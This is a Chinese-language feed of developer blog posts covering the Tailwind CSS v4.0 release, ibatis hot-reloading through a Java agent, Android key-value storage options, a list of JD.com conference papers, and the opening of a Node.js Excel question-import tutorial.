by 勇敢的棉被 at January 23, 2025 04:02 AM

juejin frontend

Tailwind CSS v4.0 正式版终于来了

2025年1月22日,Tailwind CSS v4.0 正式版终于来了,可以看其 官方Blog 查看详细的更新内容。

主要新特性

  • 高性能引擎:完整构建速度提升高达 5x 倍,增量构建速度提升超过 100x 倍,耗时以微秒计算。
  • 为现代 Web 设计:基于最新 CSS 特性,如层叠层(cascade layers)、@property 注册的自定义属性和 color-mix()
  • 简化安装:依赖更少,无需配置,只需在 CSS 文件中添加一行代码。
  • 官方 Vite 插件:实现紧密集成,最大性能和最小配置。
  • 自动内容检测:自动发现所有模板文件,无需额外配置。
  • 内置导入支持:无需额外工具即可打包多个 CSS 文件。
  • 以 CSS 为核心的配置:开发者可直接在 CSS 中自定义和扩展框架,无需 JavaScript 配置文件。
  • CSS 主题变量:所有设计令牌(design tokens)均以原生 CSS 变量形式暴露,可随处访问。
  • 动态工具类值和变体:无需猜测间距比例或扩展配置,支持动态值和基础数据属性。
  • 现代化的 P3 色彩调色板:采用更生动的色彩调色板,充分发挥现代显示技术的优势。
  • 容器查询:支持基于容器大小的元素样式,无需插件。
  • 全新 3D 变换工具:直接在 HTML 中实现 3D 空间中的元素变换。
  • 扩展的渐变 API:支持径向渐变、锥形渐变、插值模式等功能。
  • @starting-style 支持:通过新的变体创建进入和退出过渡,无需 JavaScript。
  • not-* 变体:为不匹配其他变体、自定义选择器或媒体查询的元素添加样式。
  • 更多新工具类和变体:包括 color-scheme、字段大小、复杂阴影、inert 等支持。

Tailwind 此次更新是框架历史上最重大的重构,核心围绕 性能、现代 CSS 支持、开发者体验 三大方向展开。以下是主要更新内容的详细整理:


一、全新高性能引擎

1. 速度飞跃

  • 完整构建速度提升 5.x 倍(如 Catalyst 项目从 378ms 降至 100ms),增量构建速度提升 100x 倍(无新增 CSS 时仅需 192µs)。

  • Rust 与 Lightning CSS 集成:关键路径(如 CSS 解析、类名匹配)采用 Rust 优化,Lightning CSS 处理嵌套、前缀等任务,减少对 PostCSS 和 Autoprefixer 的依赖。

  • 基于分层设计的增量构建:在 CSS 构建过程中,Tailwind v4.0 会跟踪依赖关系并缓存结果,无需重新构建整个样式表,只需为新的类或变体生成增量更新即可。

2. 统一工具链

  • 内置 @import 解析、嵌套支持、CSS 语法转换(如 oklch() 颜色兼容性处理),无需额外配置插件。

  • 集成 Vite 插件,性能优于传统 PostCSS 模式。


二、CSS 优先的配置方式

1. 弃用 JavaScript 配置文件

  • 所有设计令牌(如颜色、字体、断点)通过 CSS 变量和 @theme 指令定义,直接在 CSS 文件中配置。

    @import "tailwindcss";
    
    @theme {
      --font-display: "Satoshi", sans-serif;
      --color-primary: oklch(71.7% 0.25 360);
      --breakpoint-3xl: 1920px;
    }
    
  • 支持通过 --spacing 变量动态生成间距工具类(如 mt-21)。

2. 原生 CSS 变量支持

  • 所有主题值自动暴露为 CSS 变量(如 var(--color-primary)),可直接用于内联样式或第三方动画库(如 Framer Motion)。

三、现代 CSS 特性深度整合

1. 容器查询原生支持

  • 容器查询 Container queries 支持,可以基于父容器的尺寸调整子元素的样式:

    @container (min-width: 640px) {
      .card {
        font-size: 1.25rem;
      }
    }
    
  • 新增 @min-* 和 @max-* 变体,简化响应式逻辑:

    <div class="@container">
      <div class="grid grid-cols-3 @max-md:grid-cols-1"></div>
    </div>
    

2. 广色域颜色与渐变增强

  • 默认调色板改用 oklch() 函数,支持更广色域且保持与旧版视觉一致性。

  • 新增 圆锥渐变(bg-conic-*线性渐变角度控制(bg-linear-45 ,支持 color-mix() 插值模式。

3. 3D 变换与动画

  • 新增 rotate-x-*translate-z-* 等 3D 工具类,支持 perspective-* 和 backface-visible 控制透视效果。

  • 支持径向和锥形渐变:

    .bg-gradient-to-br {
      background: conic-gradient(from 45deg, #f00, #00f);
    }
    
  • @starting-style 支持:元素首次渲染时的动画过渡:

    @starting-style {
      .fade-in {
        opacity: 0;
      }
    }
    

4. 其他现代特性

  • not-* 变体:基于 :not() 伪类或媒体查询否定条件应用样式。

  • 更丰富的表单样式:支持 field-sizinginert 属性,提升表单的可用性。


四、开发者体验优化

1. 零配置内容检测

  • 自动扫描项目模板文件,通过 .gitignore 排除非必要文件。需扩展时可使用 @source 指令手动添加。

2. 动态工具类生成

  • 工具类如 grid-cols-73z-40 不再依赖主题配置,支持任意数值。

  • 数据属性变体(如 data-[state=active]:bg-blue-500)无需预定义。

3. 简化安装与依赖

  • 仅需 npm install tailwindcss,通过单行 @import "tailwindcss" 即可启用框架。

4、向后兼容与迁移支持

  • 运行 npx @tailwindcss/upgrade@next 可自动处理 95% 的配置迁移与模板调整。

总结

Tailwind CSS v4.0 通过高性能引擎、CSS 原生配置、现代特性支持及开发者体验优化,显著提升了开发效率。尽管部分功能尚处过渡阶段,但其设计理念已明确指向更简洁、更未来的 CSS 开发范式。

开发者可通过 官方迁移指南 或直接在新项目中体验其革新特性。

by MervynZ at January 23, 2025 03:59 AM

juejin article

热更新适配ibatis原理浅析

作者:京东零售 张骞

一、热更新解决了什么问题?

在研发过程中,每个研发同学在联调、自测阶段中总会频繁的去执行编译、构建、打包的动作,遇到比较大的项目,执行一套流程下来,往往需要3-10分钟左右,极大的降低了研发的速度,基于以上痛点,我们基于JAVA Agent技术开发出一套插件【藏经阁热更新插件】,通过热更新方式,实现了修改代码即时生效, 极大的降低研发的打包、发布时间,提升研发效率。目前这套插件已经兼容多个场景,具体适配场景可以查看相关说明文档【热更新】idea插件说明文档

二、ibatis如何进行热更新的?

热更新是什么?就是在目标JVM不停服的情况下,动态的更新一个class文件、xml文件,使程序的运行逻辑随之改变。比如加一行日志,执行热更新后就可以查看日志,修改sql语句就可以直接获取对应结果。

如果要实现修改ibatis框架中的配置文件怎么实现呢?

ibatis配置文件包含两个,一个是SqlMapConfig.xml,这个配置文件为我们提供了持久化所需的数据源配置,一个是sqlMapper.xml,这个配置文件定义了iBATIS- SQL映射语句,我们的目的是修改sqlMapper.xml中的sql语句,可以即时生效。在spring中,spring为我们提供了一个iBatis的工厂类,SqlMapClientFactoryBean,

<bean id="sqlMapClientFactoryBean" class="org.springframework.orm.ibatis.SqlMapClientFactoryBean">  
  <property name="dataSource" ref="masterDataSourcePool"/>  
  <property name="configLocation" value="classpath:sqlConfig.xml"/>  
  <property name="mappingLocations" value="classpath:sqlMapper.xml"/>
</bean>

一个jdos应用,一般是通过这个工厂类将ibatis与spring整合起来,所以在修改sqlMapper.xml文件后,同时需要重新加载这个bean。 热更新我们是通过dcevm来实现。dcevm可以热更新类,但也有一定的局限性,其中面临的一个问题是,被spring管理的bean和以及配置文件在初始化时候就被缓存好了,单纯的修改配置文件无法触发重新扫描。

所以我们需要在相关bean重新加载后清空springmvc缓存,重新触发扫描接口方法,进而实现相关bean的热加载。于是更新一个文件流程可以简化成如下流程:





在这个流程中,我们根据不同的场景去选择不同的插件plugin,通过plugin实现不同的监听方法。那么在具体的实现过程中,如果服务端收到很多变更配置文件,又如何来判断变更的文件哪些是ibatis配置信息呢?

通过了解ibatis的原理,结合agent的插桩技术,我们可以在JDos应用启动过程中,监听这个类(SqlMapClientFactoryBean)的加载事件,在这个类被加载的时候,写入一些处理方法,把ibatis的配置文件信息先保存一份,这样在更新的时候,我们可以通过缓存的路径来判断,是否是同一类型的配置。

我们发现SqlMapClient 接口主要定义了客户端的操作行为包括 select、insert、update、delete,“SqlMapExecutorDelegate” 这个类是执行代理类。这个类他耦合了用户端的执行操作行为和执行的环境,他持有执行操作的所需要的数据,同时提供着执行操作依赖的环境。其中有个状态mappedStatements,如果在每次更新文件后,不对他进行清空操作,修改的sql是不会生效的。而这个清空缓存方法,需要我们自己实现。这样在jdos应用启动的时候,我们可以增加如下流程:





三、ibatisPlugin 代码流程简介

接下来从代码视角,简单阐述整体流程







2.1 应用启动后,加载agent的jar包,首先会初始化插件pluginManager.getInstance().init(),扫描这个包路径

 com.jd.plus.hot.deploy.core.plugin

下面的@Plugin注解信息,然后注册插件信息,其中就包含springPlugin、ibatisPlugin等插件,插件的方法上会通过@OnResourceFileEvent注解方式,在资源变更后反射调用该方法。进而更新不同的文件信息缓存,同时会根据不同的类触发事件,写入不同的缓存信息,根据事件@OnClassLoadEvent(classNameRegexp = "com.ibatis.sqlmap.engine.builder.xml.SqlMapConfigParser") 写入sqlMapConfig配置信息,根据事件SqlMapClientFactoryBean注册配置文件内容,根据事件“SqlMapExecutorDelegate”添加清空缓存方法clearMapperState

这里需要着重说一下@plugin插件。不同的框架去实现热加载,主要是通过插件体系实现。@plugin是用来声明插件的,一个插件具体包含如下几个部分


@Init用来注解字段,类似Spring里的@Autowired,目前支持初始化的参数有:
1.PluginManager: 插件全局的相关配置在这个里面
2.Watcher: 监听器,可以通过监听器监听别的目录
3.ExecuteScheduler: 调度器,用来调度任务
4.HotswapTransformer: 用来转换类
5.PluginConfiguration:插件配置相关的逻辑在这个类里

@OnClassLoadEvent@OnResourceLoadEvent用来注解方法,用来插桩,init方法获取配置文件,获取完成后,通过WatcherUtils.registerExtraClassPathListener来监听log4j配置文件的变动。配置文件变动后,再调用reload方法热加载。

2.2 agent监听文件,agent启动初始化一个监听器,使用的是NIO的fileSystems.getDefault().newWatchService 监听所有的文件资源,watcher启动一个线程,循环的从系统事件取出WatchEvent,放到dispatcher的队列中。

2.3 dispatcher 从队列中取出event,通过callListener通知监听者

2.4 IBatisPlugin.class中的监听方法,获取到 filter = ".*.xml" 的请求,通过路径比对,确定是否属于Ibatis的相关配置。

2.5 调用方法clearMapperState清空注册的文件缓存信息,重新写入新的变更文件。

2.6 通过XmlBeanRefreshCommand命令重新加载xml中的bean,刷新缓存,reloadBeanFromxml,完成热加载



四、相关技术

JAVA-Agent:简单来说,是就是通过Instrumentation API与虚拟机交互,在启动时配置相关的参数(-javaagent),其premain方法会在程序main方法执行之前被调用,此时大部分Java类都没有被加载,可以对类加载埋点(addTransformer)。同时实现 监听到类的变动-->然后调用Instrumentation#redefineClasses去重新加载代码



image







五、总结

本文主要是通过适配ibatis的热更新场景,抛砖引玉,分享一些热更新的思路。整体开发过程中,还遇到了各种复杂的场景,以下是【藏经阁热更新插件】的整体结构图





by 京东云开发者 at January 23, 2025 03:48 AM

juejin android

Android 数据持久化:Store 库 vs PreferencesDataStore以及mmkv的简单对比

作为一名从前端开发转战 Android 的工程师,您可能对 localStorage 这样的本地存储方案并不陌生。在 Android 中,preferencesDataStore 提供了类似的功能,但其异步操作和稍显繁琐的语法,可能会让初学者感到些许不适应。

本文将向您介绍一个第三方库:Store,它基于 preferencesDataStore 构建,提供了更简洁、类型安全、易于使用的 API,让 Android 本地数据管理变得更加轻松。

preferencesDataStore 的不足

preferencesDataStore 作为 Android Jetpack 组件的一部分,提供了键值对的异步存储能力。然而,直接使用它,您可能会发现需要编写不少的样板代码:

  1. 定义 Preferences.Key 需要为每个键定义一个 Preferences.Key 对象,并指定类型。
  2. 使用 edit 函数修改数据: 每次修改数据都需要使用 edit 函数,并传入一个 lambda 表达式。
  3. 使用 map 函数从 Flow 中提取数据:DataStore 返回的 Flow 中提取数据时,需要使用 map 函数,并处理默认值。
  4. 处理默认值: 在读取数据时,需要手动处理默认值,避免空指针异常。

这些操作在需要频繁读写多个键值对时,会显得比较繁琐,降低开发效率。

Store 库的优势

Store 库旨在解决 preferencesDataStore 的这些痛点,它提供了以下优势:

  1. 简洁的 API: 使用 store.key 定义键,使用 store.setstore.get 进行读写操作,代码更加简洁易懂。
  2. 类型安全: store.key 会根据传入的默认值自动推断类型,确保类型安全,避免运行时错误。
  3. 默认值支持: 可以直接在 store.key 中设置默认值,无需手动处理 ?: 运算符。
  4. 基于 Flow 依然基于 Flow,可以方便地观察数据变化,实现响应式编程。
  5. 可配置的 DataStore 实例: 可以自定义 DataStore 的创建方式,满足不同的需求。

代码示例对比

为了更直观地展示 Store 库的优势,我们通过一个简单的例子进行对比:

使用 preferencesDataStore 的原始代码:

import android.content.Context
import androidx.datastore.core.DataStore
import androidx.datastore.preferences.core.Preferences
import androidx.datastore.preferences.core.edit
import androidx.datastore.preferences.core.intPreferencesKey
import androidx.datastore.preferences.core.stringPreferencesKey
import androidx.datastore.preferences.preferencesDataStore
import kotlinx.coroutines.flow.Flow
import kotlinx.coroutines.flow.map

private val Context.dataStore: DataStore<Preferences> by preferencesDataStore(name = "settings")

class SettingsManager(private val context: Context) {

    private val THEME_KEY = intPreferencesKey("theme_mode")
    private val USERNAME_KEY = stringPreferencesKey("username")

    suspend fun saveThemeMode(themeMode: Int) {
        context.dataStore.edit { settings ->
            settings[THEME_KEY] = themeMode
        }
    }

    val themeModeFlow: Flow<Int> = context.dataStore.data.map { settings ->
        settings[THEME_KEY] ?: 0
    }

    suspend fun saveUserName(userName: String) {
        context.dataStore.edit { settings ->
            settings[USERNAME_KEY] = userName
        }
    }

    val userNameFlow: Flow<String> = context.dataStore.data.map { settings ->
        settings[USERNAME_KEY] ?: ""
    }
}

使用 Store 库的代码:

import android.content.Context
import com.github.zsoltmolnar.store.Store
import com.github.zsoltmolnar.store.preferences.PreferencesStore
import kotlinx.coroutines.flow.Flow

class SettingsManager(context: Context) {
    private val store: Store<PreferencesStore> = PreferencesStore(context, "settings")

    private val themeModeKey = store.key("theme_mode", 0)
    private val userNameKey = store.key("username", "")

    suspend fun saveThemeMode(themeMode: Int) {
        store.set(themeModeKey, themeMode)
    }

    val themeModeFlow: Flow<Int> = store.get(themeModeKey)

    suspend fun saveUserName(userName: String) {
        store.set(userNameKey, userName)
    }

    val userNameFlow: Flow<String> = store.get(userNameKey)
}

对比两段代码,我们可以明显看到 Store 库的优势:

  • 简洁的 API: 使用 store.key 定义键,并直接指定默认值,代码更简洁。
  • 类型安全: store.key 会根据传入的默认值自动推断类型,确保类型安全。
  • 默认值支持: 可以直接在 store.key 中设置默认值,无需手动处理 ?: 运算符。

如何使用 Store

  1. 添加依赖:build.gradle.kts 文件中添加依赖:

    dependencies {
        implementation("com.github.zsoltmolnar:store:1.4.0")
    }
    
  2. 创建 Store 实例: 使用 PreferencesStore(context, "settings") 创建 Store 实例。

  3. 定义键: 使用 store.key("key_name", defaultValue) 定义键,并指定默认值。

  4. 读写数据: 使用 store.set(key, value) 保存数据,使用 store.get(key) 读取数据。

mmkv

MMKV 是由腾讯微信团队开发的一个高效、稳定、易用的移动端 Key-Value 存储组件。它具有以下显著特点:

  1. 基于 mmap 技术: MMKV 的核心是基于 mmap (memory-mapped file) 技术实现的。mmap 将磁盘文件映射到内存中,使得对文件的读写操作就像操作内存一样快速,大大提高了读写性能。
  2. 高性能: 由于 mmap 的特性,MMKV 的读写性能非常高,远超 SharedPreferencespreferencesDataStore。它能够处理高并发、大数据量的读写操作。
  3. 跨进程支持: MMKV 支持跨进程数据共享,这意味着可以在不同的进程中访问和修改同一份数据。这在多进程架构的应用中非常有用。
  4. 简单易用: MMKV 提供了简洁易用的 API,与 SharedPreferences 类似,学习成本较低。
  5. 数据安全: MMKV 支持数据加密,可以保护敏感数据不被泄露。
  6. 支持多种数据类型: 除了基本数据类型(如 String, Int, Boolean 等),MMKV 还支持 ParcelableByteArray 等复杂数据类型。
  7. 内存占用少: MMKV 使用 mmap 技术,只有在需要时才会将数据加载到内存中,因此内存占用较少。
  8. 稳定性高: MMKV 经过微信团队的长期使用和验证,具有很高的稳定性。

MMKV 的核心优势总结:

  • 高性能: 读写性能远超 SharedPreferencespreferencesDataStore
  • 跨进程支持: 可以在不同的进程中共享数据。
  • 简单易用: API 简洁,学习成本低。
  • 数据安全: 支持数据加密。
  • 支持多种数据类型: 除了基本类型,还支持 ParcelableByteArray

适用场景:

  • 需要高性能读写操作的场景。
  • 需要在多个进程之间共享数据的场景。
  • 需要存储大量数据的场景。
  • 需要存储复杂数据类型的场景。

总结

三种方案的对比

特性preferencesDataStoreStore (基于 preferencesDataStore)MMKV
存储方式异步异步同步 (基于 mmap, 性能高)
数据类型类型安全 (Int, String, Boolean, Float, Long, etc.)类型安全 (Int, String, Boolean, Float, Long, etc.)简单类型 (String, Int, Boolean, etc.), 支持 Parcelable, ByteArray
API 易用性稍显繁琐,需要协程和 Flow简洁,易用,基于 key 的 API简洁,易用
线程阻塞不会阻塞主线程不会阻塞主线程可能阻塞主线程 (但 mmap 性能高,阻塞时间短)
数据观察使用 Flow使用 Flow支持监听器
性能较好,异步操作,性能较好较好,异步操作,性能较好优秀,使用 mmap 技术,读写性能极高
内存占用较低,按需加载较低,按需加载较低,使用 mmap 技术,内存占用较少
存储位置应用私有存储应用私有存储应用私有存储
数据安全性简单加密,不安全简单加密,不安全支持加密
跨进程支持不支持不支持支持
文件大小限制无明确限制,但过大可能导致性能问题无明确限制,但过大可能导致性能问题无明确限制,但过大可能导致性能问题
适用场景应用配置、用户偏好、简单数据缓存应用配置、用户偏好、简单数据缓存大量数据存储、跨进程数据共享、高性能读写
依赖Android Jetpack (androidx.datastore:datastore-preferences)Store 库 (基于 preferencesDataStore)Tencent/MMKV
是否支持复杂数据类型不支持不支持支持 Parcelable, ByteArray
主要优点类型安全,异步操作简洁易用,类型安全,默认值支持高性能,跨进程,支持复杂数据类型
主要缺点API 稍显繁琐依赖第三方库,仍然是基于 preferencesDataStore同步操作,可能阻塞主线程

关键说明:

  • Store (基于 preferencesDataStore): 将其明确定义为 preferencesDataStore 的封装库,并体现其 API 易用性上的优势。
  • 性能: preferencesDataStoreStore 的性能都属于较好,但 MMKV 的性能远高于它们。
  • 跨进程支持: 只有 MMKV 支持跨进程数据共享。
  • 主要优缺点: 添加了主要优缺点的总结,更方便对比。

by 火车叼位 at January 23, 2025 03:46 AM

juejin article

请查收| 京东零售技术AI领域前沿探索-10篇顶会论文合集

作者:京东零售





2024年,京东零售技术团队在 AI 领域发表多篇CCF-A类论文,包含CVPR、SIGIR、WWW、AAAI、IJCAI等业界顶会。

下面为大家简要介绍被录用的10篇论文,涵盖目标检测、多场景学习、排序模型、意图识别、创意优选、优化大模型幻觉问题等多个方向,欢迎大家共同交流讨论。




👉【1】CVPR 2024 | Exploring Region-Word Alignment in Built-in Detector for Open-Vocabulary Object Detection

中文标题:探索内置检测器中的区域-词对齐以实现开放词汇目标检测

下载地址:ieeexplore.ieee.org/document/10…

论文作者:Heng Zhang,Qiuyu Zhao,Linyu Zheng,Hao Zeng,Zhiwei Ge,Tianhao Li,Sulong Xu

论文简介:

开放词汇目标检测旨在检测与训练过程中使用的基类独立的新类别。大多数现代方法遵循从大规模多模态语料库中学习视觉-语言空间,然后将所学知识迁移到现成的检测器(如Faster-RCNN)的范式。然而,由于数据集域的差距,在知识迁移过程中可能会发生信息衰减或破坏,从而阻碍对新类别的泛化能力。为了缓解这一困境,在本文中,我们提出了一种名为BIND(内置检测器)的新框架,以消除模块替换或向现成检测器进行知识迁移的需求。具体而言,我们设计了一个具有编码器-解码器结构的两阶段训练框架。在第一阶段,训练一个图像-文本双编码器,以从图像-文本对语料库中学习图像区域-词语的细粒度对齐。在第二阶段,训练一个DETR风格的解码器,以在有标注的目标检测数据集上进行检测。传统手动设计的非自适应建议框生成范式容易引入大量冗余框,这里我们开发了一个锚点提议网络,该网络基于候选自适应地生成具有高可能性的锚点提议,从而显著提高了检测效率。







👉 【2】SIGIR 2024 | A Unified Search and Recommendation Framework based on Multi-Scenario Learning for Ranking in E-commerce

中文标题:基于多场景学习的搜推联合建模统一框架

下载地址:arxiv.org/abs/2405.10…

论文作者:Jinhan Liu,Qiyu Chen,Junjie Xu,Junjie Li,Baoli Li,Sulong Xu

论文简介:

搜索和推荐是电子商务中两个最重要的场景。电商app中用户有着大量的跨域行为,这为搜推联合建模提供了潜力。传统的多场景模型使用共享参数来学习多个任务的相似性,并使用特定于任务的参数来学习各个任务的差异性,这种粗粒度的建模方法未能有效捕捉搜推场景之间的差异。此外,这种方法未能充分利用整个标签空间的信息。这些问题可能导致多场景模型在处理搜推场景时性能不佳。为了解决这些问题,我们提出了一种有效且通用的统一搜索和推荐框架,设计了搜推视图用户兴趣提取层和搜推视图特征生成层,分别生成用户兴趣和场景无关的搜推特征表示。接下来,我们引入了一个全局标签空间多任务层,使用全局标签作为辅助任务的监督信号,并使用条件概率联合建模主任务和辅助任务。在真实工业数据集上的广泛实验评估表明,该统一框架可以应用于各种多场景模型,并显著提升其性能。在线A/B测试也显示出在多个指标上的显著性能提升。







👉 【3】SIGIR 2024 |Optimizing E-commerce Search: Toward a Generalizable and Rank-Consistent Pre-Ranking Model

中文标题:优化电商搜索:构建有泛化性和排序一致性的粗排模型

下载地址:arxiv.org/abs/2405.05…

论文作者:Enqiang Xu,Yiming Qiu,Junyang Bai,Ping Zhang,Dadong Miao,Songlin Wang,Guoyu Tang,Lin Liu,Mingming Li

论文简介:

在大型电商平台中,搜索系统通常由召回、粗排、精排等模块组成。粗排作为一个轻量级模块,主要负责为下游精排模块提前过滤掉大量的低效商品。工业界在优化粗排模型时,主要关注提高粗排精排一致性、模型结构和对长尾商品的泛化能力。针对这些问题,我们提出了一种新方法,主要有两个方面的贡献:1.提升粗排精排一致性:引入多个二元分类任务来实现排序一致性,预测商品是否在精排模型估计的前k排名中,从而在常见的点对点排序模型上增加学习目标;2. 提升长尾泛化能力:通过引入商品表征的对比学习提高模型长尾泛化能力。通过实验,模型在离线AUC指标和在线转化效率的A/B测试上,都验证了该模型带来的显著收益。







👉 【4】SIGIR 2024 | A Preference-oriented Diversity Model Based on Mutual-information in Re-ranking for E-commerce Search

中文标题:京东搜索重排:基于互信息的用户偏好导向模型

下载地址:dl.acm.org/doi/10.1145…

论文作者:HuimuWang,MingmingLi,DadongMiao,SonglinWang,GuoyuTang,LinLiu,SulongXu,JingheHu

论文简介:

重排是一种通过考虑商品之间的相互关系来重新排列商品顺序以更有效地满足用户需求的过程。现有的方法主要提高商品打分精度,通常以牺牲多样性为代价,导致结果可能无法满足用户的多样化需求。相反,旨在促进多样性的方法可能会降低结果的精度,无法满足用户对准确性的要求。为了解决上述问题,本文提出了一种基于互信息的偏好导向多样性模型(PODM-MI),在重排过程中同时考虑准确性和多样性。具体而言,PODM-MI采用基于变分推理的多维高斯分布来捕捉具有不确定性的用户多样性偏好。然后,我们利用最大变分推理下界来最大化用户多样性偏好与候选商品之间的互信息,以增强它们的相关性。随后,我们基于相关性得出一个效用矩阵,使项目能够根据用户偏好进行自适应排序,从而在上述目标之间建立平衡。在京东主搜上的实验结果证明了PODM-MI的显著提升。





👉 【5】SIGIR 2024 | JDivPS: A Diversified Product Search Dataset

中文标题:基于京东电商平台的多样化产品搜索数据集

下载地址:dl.acm.org/doi/10.1145…

论文作者:ZhiruiDeng,ZhichengDou,YutaoZhu,XuboQin,PengchaoCheng,JiangxuWu,HaoWang

论文简介:

产品搜索的多样化旨在提供多样化的产品,以满足不同用户的需求。现有的多样化产品搜索方法主要依赖于来自在线平台的数据集。然而,这些数据集通常由于其受限的公共访问性和缺乏人工标注的用户意图而带来挑战。这些局限性可能导致实验结果不可重复和结论不可靠,从而限制了该领域的发展。为了解决这些问题,本文引入了一种用于多样化产品搜索的新数据集 JDivPS。这是第一个具有人工标注用户意图的可公开访问的数据集。数据集来自中国主要电子商务平台京东(JD.com),它包含10,000个查询,大约1,680,000个独特产品,每个查询平均有10个人工标注的用户意图。我们使用 JDivPS 数据集对多个多样化排序模型进行了广泛评估,并在论文中展示了这些模型在此数据集上的实验结果,作为未来产品搜索多样化工作的参考。





👉 【6】WWW 2024 | A Semi-supervised Multi-channel Graph Convolutional Network for Query Classification in E-commerce

中文标题:基于半监督多通道图神经网络的类目预估方法

下载地址:arxiv.org/abs/2408.01…

论文作者:Chunyuan Yuan,Ming Pang,Zheng Fang,Xue Jiang,Changping Peng,Zhangang Lin

论文简介:

查询意图分类是电商应用中帮助用户快速找到所需商品的重要模块。现有的查询意图分类方法大多依赖用户的点击行为作为监督信号来构建训练样本,然而这些完全基于后验标签的方法可能会因为点击样本的马太效应而导致严重的类别不平衡问题。与热门类目相比,长尾类目下的商品很难获得流量和用户点击,这使得模型无法检测到用户对长尾类目商品的意图,进而加剧了长尾类目无法获得流量的问题,形成恶性循环。此外,由于用户点击的随机性,对于语义相似的查询,后验标签不稳定,使得模型对输入非常敏感,导致类目召回不稳定且不完整。

本文从标签关联和半监督学习的角度,提出了一种新型的半监督多通道图卷积网络(SMGCN)来解决上述问题。 SMGCN 利用查询与类别之间的相似度得分来扩展类别信息并增强后验标签。此外,它利用类别的共现和语义相似性图来增强标签之间的关系并削弱后验标签不稳定性的影响。我们进行了大量的离线和在线 A/B 实验,实验结果表明 SMGCN 明显优于业界最优模型,证明了其有效性和实用性。目前该模型已经部署在京东搜索广告的线上系统,每天服务数亿次查询意图分类服务,具有极高的商业价值,是一套实用、稳健的大规模查询意图分类服务解决方案。







👉 【7】WWW 2024 | PPM : A Pre-trained Plug-in Model for Click-through Rate Prediction

中文标题:基于预训练的插件式CTR预估模型

下载地址:arxiv.org/abs/2403.10…

论文作者:Yuanbo Gao,Peng Lin,Dongyue Wang,Feng Mei,Xiwei Zhao,Sulong Xu,Jinghe Hu

论文简介:

目前精排模型是ID-based 范式(IDRec),即基于各种 ID 特征,如sku id, shop id, brand id等,建模用户历史行为序列和待排商品间的关系。ID-Rec 模型虽然已取得了不错的效果,但缺乏泛化能力。因为ID-based模型中,各个ID表示的准确性与ID在训练样本中出现的频率高度相关,这导致精排模型对中长尾商品的排序能力不足。我们摒弃了传统的在特征层面融合ID和模态特征的方式,而是在模型层进行了融合。网络分为两部分,MoRec 和 Unified Ranking Model(URM)。MoRec利用文本和图像的表征,采用预训练的方式以CTR为监督信号进行训练,URM将预训练好的MoRec和IDRec进行端到端的训练。









👉 【8】AAAI 2024 | Parallel Ranking of Ads and Creatives in Real-Time Advertising Systems

中文标题:京东创意优选:广告商品排序和广告创意优选的并行排序实践

下载地址:arxiv.org/abs/2312.12…

论文作者:Zhiguang Yang,Lu Wang,Chun Gan,Liufang Sang,Haoran Wang,Wenlong Chen,Jie He,Changping Peng,Zhangang Lin,Jingping Shao

论文简介:

不同的广告创意可以不同的创意风格展现商品的不同属性,在满足不同用户的购物关注需求和审美偏好的同时,提高广告主广告投放的效率。现有方法中,商品排序和广告创意优选大部分采用串行结构,在线耗时的约束一定程度上限制了广告创意优选的效果上限。为了打开创意优选的效果天花板,本文提出了一种新的创意优选和商品排序的并行结构:在线推理时,创意优选模型和商品排序模型并行,共享耗时空间,模型得以进行更复杂的个性化建模;离线训练时,创意优选与商品排序模型联合训练,通过对建模目标的拆分设计,提升创意优选任务的建模效果。相比于商品排序和创意优选的串行结构,并行结构不对广告播放系统引入额外的耗时增长,打开了创意优选的在线算力空间。在京东推荐广告场景下,取得了较好的业务效果。同时,本文对创意优选任务的离线指标作出改进,提高了离线指标和在线效果的数据分布一致性。







👉 【9】AAAI 2024 | Generalize for Future: Slow and Fast Trajectory Learning for CTR Prediction

中文标题:面向未来的泛化:用于点击率预测的慢速和快速轨迹学习

下载地址:ojs.aaai.org/index.php/A…

论文作者:Jian Zhu, Congcong Liu,Xue Jiang, Changping Peng, Zhangang Lin, Jingping Shao

论文简介:

深度模型已经在点击率预估上取得了巨大的进展。然而在建模过程中,深度学习常用的独立同分布假设并不能保证成立,尤其是在在线学习的点击率预估系统中。为了解决这个问题,我们提出了一种新的模型更新框架“快慢轨迹学习”,用于减缓过去和未来之间的领域漂移并加强模型的时序适应能力。该框架的机制主要依赖三个互补且同构的学习器:工作学习器,快学习器,慢学习器;其中工作学习器可以认为是我们正常更新的模型,快学习器利用工作学习器的指数移动平均权重更新,慢学习器则保留上个时间域下的工作学习器权重,除此之外我们还提出了一种轨迹损失,以加强模型的效果。







👉 【10】IJCAI2024 | TaD: A Plug-and-Play Task-Aware Decoding Method to Better Adapt LLMs on Downstream Tasks

中文标题:TaD+RAG-缓解大模型“幻觉”的组合新疗法

下载地址:https://www.ijcai.org/proceedings/2024/728

论文作者:Xinhao Xu, Hui Chen, Zijia Lin, Jungong Han, Lixing Gong, Guoxin Wang, Yongjun Bao, Guiguang Ding

论文简介:京东技术团队联合清华大学提出缓解大模型“幻觉”新技术!ChatGPT的横空出世标志着人工智能正式进入大模型时代,大模型也正逐步成为推动企业发展的新引擎。然而,大模型带来无与伦比创造力的同时,其“幻觉”,即“胡说八道”的坏毛病也让大批应用者苦不堪言。业内主要通过检索增强生成(RAG)技术,通过引入并检索第三方知识库缓解幻觉。但即便召回正确的信息,大模型依然可能因为自身幻觉生成错误结果,所以缓解大模型本身的幻觉也极其重要。京东技术团队联合清华大学提出任务感知解码技术(Task-aware Decoding,TaD),通过对比有监督微调前后的输出,缓解LLM本身的幻觉;该方法通用性强,即插即用适应多种大模型结构、微调方法、下游任务。与此同时,项目团队在知识问答业务上进行落地实践,充分证明TaD+RAG是缓解LLM幻觉的最佳组合疗法。



by 京东云开发者 at January 23, 2025 03:46 AM

juejin frontend

基于 nodeJS + Excel 实现试题批量导入

前言

新春将至,为丰富节日氛围,计划组织「新春游园答题活动」。本次活动采用 H5 页面形式,用户扫码即可参与答题。由于题库包含上百道题目,涵盖单选题、多选题和判断题类型,为了提高效率,决定通过批量导入试题的方式简化流程。本篇文章将详细介绍如何使用 Node.js 实现试题的批量导入。

试题模板设计

模板设计是批量导入的核心,合理的模板设计能简化 Excel 数据解析逻辑。以下是设计好的模板:

序号试题类型题干选项答案分值解析
1单选题太阳系中最大的行星是?A.木星
B.地球
C.火星
D.金星
A2木星是太阳系中最大的行星。
2多选题下列哪些是哺乳动物?A.狮子
B.海豚
C.蛇
D.青蛙
A,B2狮子和海豚是哺乳动物,其余不是。
3判断题水的冰点是 0 摄氏度。正确2水在标准大气压下的冰点为 0 摄氏度。

填写规则

  1. 试题类型支持「单选题」、「多选题」和「判断题」。
